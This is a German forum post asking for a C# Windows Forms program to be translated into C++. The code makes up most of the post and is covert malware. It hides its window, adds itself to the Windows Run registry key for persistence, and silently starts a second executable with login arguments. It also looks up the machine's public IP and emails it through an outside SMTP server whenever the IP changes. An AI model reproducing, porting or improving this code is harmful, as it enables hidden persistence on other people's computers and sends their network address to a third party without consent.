Einzelnen Beitrag anzeigen
Ungelesen 11.02.12, 18:34   #1
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard C# in C++ übersetzen

hey,

da ich in der schule bisschen c# gelernt habe..habe ich sowas programmiert..sieht bestimmt für erfahrene leute etwas komisch aus aber naja es erfüllt seinen zweck...aber brauche den code in c++ und deshalb wollte ich mal fragen ob jemand es mir kurz übersetzen kann..dauert für viele bestimmt max.5min....

danke

Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Net;

namespace WindowsFormsApplication2
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
            this.ShowInTaskbar = false;

          
            Microsoft.Win32.RegistryKey regKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
            if (regKey.GetValue("hallo") == null)
            {
                regKey.SetValue("hallo", Application.ExecutablePath.ToString());
            }
   
            if (File.Exists(@"C:\Windows\hallo.exe"))
            {
                Process p = new Process();
                p.StartInfo.FileName = "hallo.exe";
                p.StartInfo.Arguments = " --s_user s77 --s_password s77";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.StartInfo.UseShellExecute = true;
                p.StartInfo.RedirectStandardOutput = false;
                p.Start();
                p.Close();

                System.Net.WebClient IPGetter = new System.Net.WebClient();
                string SourceCode = IPGetter.DownloadString(@"http://www.wieistmeineip.de/");

                
                int IPStartPosition = SourceCode.IndexOf("class=\"ip\">");
                int IPEndPosition = SourceCode.IndexOf(@"</h1>", IPStartPosition);
                string IP = SourceCode.Substring(IPStartPosition + ("class=\"ip\">").Length, IPEndPosition - (IPStartPosition + ("class=\"ip\">").Length));


                if (File.Exists(@"C:\text.txt") == false)
                {
                    StreamWriter myWriter = File.CreateText(@"C:\text.txt");
                    myWriter.WriteLine(IP.ToString());
                    myWriter.Close();

                    System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
                    System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[email protected]", "12345");

                    s.EnableSsl = true;
                    s.UseDefaultCredentials = false;
                    s.Credentials = nc;

                    s.Send("[email protected]", "[email protected]", "subject", IP.ToString());
                    
                }
                else
                {  
                    
                    StreamReader myReader = File.OpenText(@"C:\text.txt");

                    if (myReader.ReadLine() == IP)
                    {

                    }
                    else
                    {   
                        myReader.Close();
                        StreamWriter myWriter = File.CreateText(@"C:\text.txt");
                        myWriter.WriteLine(IP.ToString());

                        myWriter.Close();

                        System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
                        System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[email protected]", "1234");

                        s.EnableSsl = true;
                        s.UseDefaultCredentials = false;
                        s.Credentials = nc;

                        s.Send("[email protected]", "[email protected]", "subject", IP.ToString());

                    
                    }
                    myReader.Close();
                }


            }

            Application.Exit();
        }
    }
}
Beyaz ist offline   Mit Zitat antworten